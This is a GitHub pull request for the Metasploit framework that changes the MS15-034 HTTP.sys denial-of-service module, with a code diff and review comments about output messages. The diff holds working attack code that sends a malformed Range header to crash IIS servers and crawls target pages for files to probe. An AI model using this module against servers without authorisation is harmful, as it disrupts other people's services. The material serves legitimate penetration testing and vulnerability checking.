Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Improves detection of the MS15-034 #5386

Merged
merged 6 commits into from May 28, 2015
Merged
Changes from 3 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
81 changes: 60 additions & 21 deletions modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb
Expand Up @@ -46,7 +46,7 @@ def initialize(info = {})

register_options(
[
OptString.new('TARGETURI', [true, 'A valid file resource', '/welcome.png'])
OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/'])
], self.class)

deregister_options('RHOST')
Expand All @@ -68,7 +68,7 @@ def get_file_size(ip)
@file_size ||= lambda {
file_size = -1
uri = normalize_uri(target_uri.path)
res = send_request_raw({'uri'=>uri})
res = send_request_raw('uri' => uri)

unless res
vprint_error("#{ip}:#{rport} - Connection timed out")
Expand All @@ -87,7 +87,6 @@ def get_file_size(ip)
}.call
end


def dos_host(ip)
file_size = get_file_size(ip)
lower_range = file_size - 2
Expand All @@ -97,39 +96,79 @@ def dos_host(ip)
begin
cli = Rex::Proto::Http::Client.new(ip)
cli.connect
req = cli.request_raw({
req = cli.request_raw(
'uri' => uri,
'method' => 'GET',
'headers' => {
'Range' => "bytes=#{lower_range}-#{upper_range}"
}
})
)
cli.send_request(req)
rescue ::Errno::EPIPE, ::Timeout::Error
# Same exceptions the HttpClient mixin catches
end
print_status("#{ip}:#{rport} - DOS request sent")
end

def potential_static_files_uris
uri = normalize_uri(target_uri.path)

def check_host(ip)
return Exploit::CheckCode::Unknown if get_file_size(ip) == -1
return [uri] unless uri[-1, 1] == '/'

uri = normalize_uri(target_uri.path)
res = send_request_raw({
'uri' => uri,
'method' => 'GET',
'headers' => {
'Range' => "bytes=0-#{upper_range}"
}
})
if res && res.body.include?('Requested Range Not Satisfiable')
return Exploit::CheckCode::Vulnerable
elsif res && res.body.include?('The request has an invalid header name')
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Unknown
uris = ["#{uri}welcome.png"]
res = send_request_raw('uri' => uri, 'method' => 'GET')

return uris unless res

site_uri = URI.parse(full_uri)
page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace))

page.xpath('//link|//script|//style|//img').each do |tag|
%w(href src).each do |attribute|
attr_value = tag[attribute]

next unless attr_value && !attr_value.empty?

uri = site_uri.merge(URI.encode(attr_value.strip))

next unless uri.host == vhost || uri.host == rhost

uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file
end
end

uris.uniq
end

def check_host(ip)
potential_static_files_uris.each do |potential_uri|
uri = normalize_uri(potential_uri)

res = send_request_raw(
'uri' => uri,
'method' => 'GET',
'headers' => {
'Range' => "bytes=0-#{upper_range}"
}
)

vmessage = "#{peer} - Checking #{uri} [#{res.code}]"

if res && res.body.include?('Requested Range Not Satisfiable')
print_status("#{peer} - #{uri} is vulnerable")

target_uri.path = uri # Needed for the DoS attack

return Exploit::CheckCode::Vulnerable
elsif res && res.body.include?('The request has an invalid header name')
vprint_status("#{vmessage} - Safe")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

These messages aren't very necessary. If you run the check command, basically it will tell you the check result twice.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think you meant the 'run command' instead of 'check command' ?

If those are removed, the vulnerable file or tested ones are never displayed, leading to the same behaviour as Nessus: it just tells you if it's vulnerable or not, w/o any relevant output (i.e the files tested) which is extremely annoying when you want to double check or provide an easiest way for a client to verify the issue (using curl for example)

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There is a check command. It handles our check codes. It's different from the run command. <-- wait never mind, you know this. You demo'd this in the PR description.

Sorry I wasn't being clear enough. I only meant the safe/vulnerable messages. You can vprint which files are tried or useful, definitely handy, but please avoid the safe/vulnerable messages because the check handler is doing that already.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hmmm you know what.... if you don't say vulnerable/safe it's kind of weird too. Please disregard my feedback.

You do need to vprint print_status("#{peer} - #{uri} is vulnerable") though. We started enforcing this last year.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done :)

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks. I should be able to land this today.


return Exploit::CheckCode::Safe
else
vprint_status("#{vmessage} - Unknown")
end
end

Exploit::CheckCode::Unknown
end
end